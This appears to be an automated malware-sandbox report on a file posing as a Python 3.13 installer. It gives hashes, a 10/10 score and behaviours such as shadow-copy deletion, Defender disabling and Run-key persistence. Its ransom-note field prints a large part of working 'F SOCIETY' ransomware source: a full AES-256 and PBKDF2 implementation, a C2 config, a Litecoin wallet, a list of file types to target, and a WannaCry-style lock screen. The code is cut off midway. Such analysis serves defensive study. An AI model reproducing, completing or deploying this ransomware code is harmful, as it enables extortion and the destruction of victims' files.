78156ad0cf0ec4123bfb5333b40f078596ebf15f2d062a10144863680afbdefc

General

Target
python-3.13.0-amd64.exe
Size 26.9MB
Sample260604-y394daet6p
SHA256 78156ad0cf0ec4123bfb5333b40f078596ebf15f2d062a10144863680afbdefc
MD5 f5e5d48ba86586d4bef67bcb3790d339
SHA1 118838d3bc5d1a13ce71d8d83de52427b1562124
SHA512 ffaef212d55e3bdd87e79cbfacebc0612ffc1c8c4b495585392746202dce6332383199f0206113ee95ebb4a76d718d0700e1aed9ad518d43b7569a44f0a39427
SSDEEP 393216:NQs3AMrF2S7Pr96of7sv2iZpAs2vEqhlKBe//u4fW9Xj9uXU//EAa6L4pGROW:NQs31rFn7Pr4Y4vbpCye//zf0TAEVJGq
TLSH
T19C573333E0404976EBF108F27935E3757E68ED291314C879D2E8FC983A798AA17B7251
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000025

Ransom Note

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # F SOCIETY RANSOMWARE - ПOЛHЫЙ GUI B CTИЛE WANNACRY # TOЛbКO CTAHДAPTHAЯ БИБЛИOTEКA PYTHON + TKINTER (BcTpoeH B Python) # Кoшeлёк LTC: LSNP2VFNrtTVKoH56ANGamVYrqWCKtGYg7 import os import sys import ctypes import hashlib import base64 import socket import threading import time import subprocess import json import struct import random import string import shutil import tempfile import urllib.request import urllib.error import ssl import hmac import tkinter as tk from tkinter import ttk, messagebox, scrolledtext from pathlib import Path from datetime import datetime, timedelta import webbrowser # ============================================================ # ЧИCTЫЙ AES-256 HA CTAHДAPTHOЙ БИБЛИOTEКE # ============================================================ class PureAES: SBOX = [ 0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76, 0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0, 0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15, 0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75, 0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84, 0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf, 0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8, 0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2, 0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73, 0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb, 0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79, 0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08, 0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a, 0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e, 0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf, 0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16 ] INV_SBOX = [ 0x52,0x09,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbf,0x40,0xa3,0x9e,0x81,0xf3,0xd7,0xfb, 0x7c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb, 0x54,0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0x0b,0x42,0xfa,0xc3,0x4e, 0x08,0x2e,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25, 0x72,0xf8,0xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92, 0x6c,0x70,0x48,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84, 0x90,0xd8,0xab,0x00,0x8c,0xbc,0xd3,0x0a,0xf7,0xe4,0x58,0x05,0xb8,0xb3,0x45,0x06, 0xd0,0x2c,0x1e,0x8f,0xca,0x3f,0x0f,0x02,0xc1,0xaf,0xbd,0x03,0x01,0x13,0x8a,0x6b, 0x3a,0x91,0x11,0x41,0x4f,0x67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73, 0x96,0xac,0x74,0x22,0xe7,0xad,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e, 0x47,0xf1,0x1a,0x71,0x1d,0x29,0xc5,0x89,0x6f,0xb7,0x62,0x0e,0xaa,0x18,0xbe,0x1b, 0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4, 0x1f,0xdd,0xa8,0x33,0x88,0x07,0xc7,0x31,0xb1,0x12,0x10,0x59,0x27,0x80,0xec,0x5f, 0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0x0d,0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef, 0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61, 0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d ] RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36] @staticmethod def sub_bytes(s): return [PureAES.SBOX[b] for b in s] @staticmethod def inv_sub_bytes(s): return [PureAES.INV_SBOX[b] for b in s] @staticmethod def shift_rows(s): return [s[0],s[5],s[10],s[15],s[4],s[9],s[14],s[3],s[8],s[13],s[2],s[7],s[12],s[1],s[6],s[11]] @staticmethod def inv_shift_rows(s): return [s[0],s[13],s[10],s[7],s[4],s[1],s[14],s[11],s[8],s[5],s[2],s[15],s[12],s[9],s[6],s[3]] @staticmethod def gmul(a,b): p=0 for _ in range(8): if b&1: p^=a hi=a&0x80 a=(a<<1)&0xFF if hi: a^=0x1b b>>=1 return p @staticmethod def mix_columns(s): r=[0]*16 for i in range(4): s0,s1,s2,s3=s[i],s[i+4],s[i+8],s[i+12] r[i]=PureAES.gmul(2,s0)^PureAES.gmul(3,s1)^s2^s3 r[i+4]=s0^PureAES.gmul(2,s1)^PureAES.gmul(3,s2)^s3 r[i+8]=s0^s1^PureAES.gmul(2,s2)^PureAES.gmul(3,s3) r[i+12]=PureAES.gmul(3,s0)^s1^s2^PureAES.gmul(2,s3) return r @staticmethod def inv_mix_columns(s): r=[0]*16 for i in range(4): s0,s1,s2,s3=s[i],s[i+4],s[i+8],s[i+12] r[i]=PureAES.gmul(14,s0)^PureAES.gmul(11,s1)^PureAES.gmul(13,s2)^PureAES.gmul(9,s3) r[i+4]=PureAES.gmul(9,s0)^PureAES.gmul(14,s1)^PureAES.gmul(11,s2)^PureAES.gmul(13,s3) r[i+8]=PureAES.gmul(13,s0)^PureAES.gmul(9,s1)^PureAES.gmul(14,s2)^PureAES.gmul(11,s3) r[i+12]=PureAES.gmul(11,s0)^PureAES.gmul(13,s1)^PureAES.gmul(9,s2)^PureAES.gmul(14,s3) return r @staticmethod def key_expansion(key): ks=len(key) if ks==32: nk,nr=8,14 elif ks==24: nk,nr=6,12 else: nk,nr=4,10 w=[[key[4*i+j] for j in range(4)] for i in range(nk)] for i in range(nk,4*(nr+1)): t=w[i-1][:] if i%nk==0: t=t[1:]+t[:1] t=[PureAES.SBOX[b] for b in t] t[0]^=PureAES.RCON[(i//nk)-1] elif nk>6 and i%nk==4: t=[PureAES.SBOX[b] for b in t] w.append([w[i-nk][j]^t[j] for j in range(4)]) return w,nr @staticmethod def aes_encrypt_block(blk,ek,nr): s=list(blk) for i in range(4): for j in range(4): s[i+4*j]^=ek[i][j] for rn in range(1,nr): s=PureAES.sub_bytes(s); s=PureAES.shift_rows(s); s=PureAES.mix_columns(s) for i in range(4): for j in range(4): s[i+4*j]^=ek[4*rn+i][j] s=PureAES.sub_bytes(s); s=PureAES.shift_rows(s) for i in range(4): for j in range(4): s[i+4*j]^=ek[4*nr+i][j] return bytes(s) @staticmethod def aes_decrypt_block(blk,ek,nr): s=list(blk) for i in range(4): for j in range(4): s[i+4*j]^=ek[4*nr+i][j] for rn in range(nr-1,0,-1): s=PureAES.inv_shift_rows(s); s=PureAES.inv_sub_bytes(s) for i in range(4): for j in range(4): s[i+4*j]^=ek[4*rn+i][j] s=PureAES.inv_mix_columns(s) s=PureAES.inv_shift_rows(s); s=PureAES.inv_sub_bytes(s) for i in range(4): for j in range(4): s[i+4*j]^=ek[i][j] return bytes(s) @staticmethod def pkcs7_pad(d,bs=16): pl=bs-(len(d)%bs) return d+bytes([pl]*pl) @staticmethod def pkcs7_unpad(d): pl=d[-1] if pl>16 or pl==0: raise ValueError("Bad pad") for i in range(1,pl+1): if d[-i]!=pl: raise ValueError("Bad pad") return d[:-pl] @staticmethod def derive_key(pw,salt,ks=32,iters=480000): if isinstance(pw,str): pw=pw.encode() def prf(k,d): return hmac.new(k,d,hashlib.sha256).digest() bc=(ks+31)//32 r=b'' for i in range(1,bc+1): u=prf(pw,salt+struct.pack('>I',i)) t=u for _ in range(iters-1): u=prf(pw,u) t=bytes(x^y for x,y in zip(t,u)) r+=t return r[:ks] @staticmethod def encrypt_cbc(key,pt,iv=None): if iv is None: iv=os.urandom(16) ek,nr=PureAES.key_expansion(key) pd=PureAES.pkcs7_pad(pt) ct=iv pb=iv for i in range(0,len(pd),16): blk=pd[i:i+16] xr=bytes(a^b for a,b in zip(blk,pb)) enc=PureAES.aes_encrypt_block(xr,ek,nr) ct+=enc pb=enc return ct @staticmethod def decrypt_cbc(key,ct): iv=ct[:16] ed=ct[16:] ek,nr=PureAES.key_expansion(key) pt=b'' pb=iv for i in range(0,len(ed),16): blk=ed[i:i+16] dec=PureAES.aes_decrypt_block(blk,ek,nr) xr=bytes(a^b for a,b in zip(dec,pb)) pt+=xr pb=blk return PureAES.pkcs7_unpad(pt) # ============================================================ # КOHФИГyPAЦИЯ # ============================================================ C2_SERVER = "YOUR_ONION_ADDRESS.onion" C2_PORT = 1337 RANSOM_AMOUNT = "25.0 LTC" WALLET_ADDRESS = "LSNP2VFNrtTVKoH56ANGamVYrqWCKtGYg7" VICTIM_ID = hashlib.sha256(socket.gethostname().encode()).hexdigest()[:16] DEADLINE_HOURS = 72 DEADLINE = datetime.now() + timedelta(hours=DEADLINE_HOURS) TARGET_EXTENSIONS = [ '.doc','.docx','.xls','.xlsx','.ppt','.pptx','.pdf','.txt','.csv', '.db','.sql','.sqlite','.mdb','.accdb','.dbf', '.jpg','.jpeg','.png','.gif','.bmp','.tiff','.psd','.ai', '.mp3','.mp4','.avi','.mkv','.mov','.wmv','.flv','.wav', '.zip','.rar','.7z','.tar','.gz','.bz2', '.py','.js','.html','.css','.php','.cpp','.h','.java', '.key','.pem','.crt','.cer','.p12','.pfx', '.bak','.backup','.old','.tmp','.log' ] EXCLUDE_DIRS = [ 'Windows','Program Files','Program Files (x86)','ProgramData', 'AppData','System Volume Information','$Recycle.Bin','Boot', 'Microsoft','WindowsApps','WinSxS','Drivers' ] # ============================================================ # ГЛOБAЛbHЫE ПEPEMEHHЫE ДЛЯ GUI # ============================================================ total_files_found = 0 total_files_encrypted = 0 encrypting = True payment_received = False gui_instance = None # ============================================================ # F SOCIETY GUI - B CTИЛE WANNACRY # ============================================================ class FSocietyGUI: def __init__(self, root): self.root = root self.root.title("F Society Decryptor 2.0") self.root.geometry("900x650") self.root.configure(bg='#1a0000') self.root.resizable(False, False) # ЦeHTpиpoBaHиe oкHa self.root.update_idletasks() w = 900 h = 650 x = (self.root.winfo_screenwidth() // 2) - (w // 2) y = (self.root.winfo_screenheight() // 2) - (h // 2) self.root.geometry(f'{w}x{h}+{x}+{y}') # БлoкиpoBкa зaкpыTия self.root.protocol("WM_DELETE_WINDOW", self.on_closing) # Bceгдa пoBepx дpyгиx oкoH self.root.attributes('-topmost', True) self.setup_styles() self.create_widgets() self.update_timer() def setup_styles(self): self.style = ttk.Style() self.style.theme_use('clam') self.style.configure('Red.TFrame', background='#1a0000') self.style.configure('Dark.TFrame', background='#0d0000') self.style.configure('Red.TLabel', background='#1a0000', foreground='#ff0000') self.style.configure('White.TLabel', background='#1a0000', foreground='#cccccc') self.style.configure('Yellow.TLabel', background='#1a0000', foreground='#ffcc00') self.style.configure('Green.TLabel', background='#1a0000', foreground='#00ff00') self.style.configure('Title.TLabel', background='#1a0000', foreground='#ff0000', font=('Courier New', 28, 'bold')) self.style.configure('Subtitle.TLabel', background='#1a0000', foreground='#ff4444', font=('Courier New', 12)) self.style.configure('Red.Horizontal.TProgressbar', background='#ff0000', troughcolor='#1a0000') def create_widgets(self): # ГлaBHый кoHTeйHep c paMкoй main_frame = tk.Frame(self.root, bg='#1a0000', bd=0) main_frame.pack(fill='both', expand=True, padx=3, pady=3) # BepxHяя кpacHaя пoлoca top_bar = tk.Frame(main_frame, bg='#8b0000', height=4) top_bar.pack(fill='x', side='top') # ЗaгoлoBoк c ASCII-apToM F SOCIETY title_frame = tk.Frame(main_frame, bg='#1a0000') title_frame.pack(fill='x', pady=(20,10)) ascii_art = """ ███████╗ ███████╗ ██████╗ ██████╗██╗███████╗████████╗██╗ ██╗ ██╔════╝ ██╔════╝██╔═══██╗██╔════╝██║██╔════╝╚══██╔══╝╚██╗ ██╔╝ █████╗ ███████╗██║ ██║██║ ██║█████╗ ██║ ╚████╔╝ ██╔══╝ ╚════██║██║ ██║██║ ██║██╔══╝ ██║ ╚██╔╝ ██║ ███████║╚██████╔╝╚██████╗██║███████╗ ██║ ██║ ╚═╝ ╚══════╝ ╚═════╝ ╚═════╝╚═╝╚══════╝ ╚═╝ ╚═╝ """ tk.Label(title_frame, text=ascii_art, bg='#1a0000', fg='#ff0000', font=('Courier New', 8, 'bold'), justify='center').pack() # ПoдзaгoлoBoк tk.Label(title_frame, text="Ooops, your files have been encrypted!", bg='#1a0000', fg='#ffffff', font=('Courier New', 14, 'bold')).pack(pady=(10,0)) tk.Label(title_frame, text="What Happened to My Computer?", bg='#1a0000', fg='#ffcc00', font=('Courier New', 11)).pack(pady=(5,0)) # PaздeлиTeлb sep1 = tk.Frame(main_frame, bg='#8b0000', height=2) sep1.pack(fill='x', padx=40, pady=10) # OcHoBHaя пaHeлb c иHфopMaциeй info_frame = tk.Frame(main_frame, bg='#0d0000', bd=1, relief='solid', highlightbackground='#8b0000') info_frame.pack(fill='both', expand=True, padx=40, pady=10) # ЛeBaя кoлoHкa - oпиcaHиe left_frame = tk.Frame(info_frame, bg='#0d0000') left_frame.pack(side='left', fill='both', expand=True, padx=20, pady=20) tk.Label(left_frame, text="Your important files are encrypted.", bg='#0d0000', fg='#ffffff', font=('Courier New', 10, 'bold')).pack(anchor='w') tk.Label(left_frame, text="Many of your documents, photos, videos, databases and", bg='#0d0000', fg='#cccccc', font=('Courier New', 9)).pack(anchor='w') tk.Label(left_frame, text="other files are no longer accessible because they", bg='#0d0000', fg='#cccccc', font=('Courier New', 9)).pack(anchor='w') tk.Label(left_frame, text="have been encrypted. Maybe you are busy looking", bg='#0d0000', fg='#cccccc', font=('Courier New', 9)).pack(anchor='w') tk.Label(left_frame, text="for a way to recover your files, but do not waste", bg='#0d0000', fg='#cccccc', font=('Courier New', 9)).pack(anchor='w') tk.Label(left_frame, text="your time. Nobody can recover your files without", bg='#0d0000', fg='#cccccc', font=('Courier New', 9)).pack(anchor='w') tk.Label(left_frame, text="our decryption service.", bg='#0d0000', fg='#cccccc', font=('Courier New', 9)).pack(anchor='w') # ПpaBaя кoлoHкa - cTaTyc и TaйMep right_frame = tk.Frame(info_frame, bg='#0d0000') right_frame.pack(side='right', fill='both', padx=20, pady=20) # TaйMep oбpaTHoгo oTcчёTa tk.Label(right_frame, text="Payment will be raised on", bg='#0d0000', fg='#ffffff', font=('Courier New', 9)).pack(anchor='center') tk.Label(right_frame, text=DEADLINE.strftime("%m/%d/%Y %H:%M:%S"), bg='#0d0000', fg='#ffcc00', font=('Couri

Targets

- Target
  python-3.13.0-amd64.exe
- Size 26.9MB
- SHA256 78156ad0cf0ec4123bfb5333b40f078596ebf15f2d062a10144863680afbdefc
- MD5 f5e5d48ba86586d4bef67bcb3790d339
- SHA1 118838d3bc5d1a13ce71d8d83de52427b1562124
- SHA512 ffaef212d55e3bdd87e79cbfacebc0612ffc1c8c4b495585392746202dce6332383199f0206113ee95ebb4a76d718d0700e1aed9ad518d43b7569a44f0a39427
- SSDEEP 393216:NQs3AMrF2S7Pr96of7sv2iZpAs2vEqhlKBe//u4fW9Xj9uXU//EAa6L4pGROW:NQs31rFn7Pr4Y4vbpCye//zf0TAEVJGq
- TLSH
  T19C573333E0404976EBF108F27935E3757E68ED291314C879D2E8FC983A798AA17B7251
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

defense_evasion discovery execution impact persistence privilege_escalation ransomware
- Deletes shadow copies
  Ransomware often targets backup files to inhibit system recovery.
  ransomware defense_evasion impact execution
- Adds Run key to start application
  persistence
- Badlisted process makes network request
  Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell
  Using powershell.exe command.
  execution
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
  Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
  defense_evasion
- Disables one or more Microsoft Defender components
  Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
  defense_evasion
- Enumerates connected drives
  Attempts to read the root path of hard drives other than the default C: drive.
- Event Triggered Execution: Component Object Model Hijacking
  Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
  persistence privilege_escalation
- Suspicious use of NtSetInformationThreadHideFromDebugger
behavioral1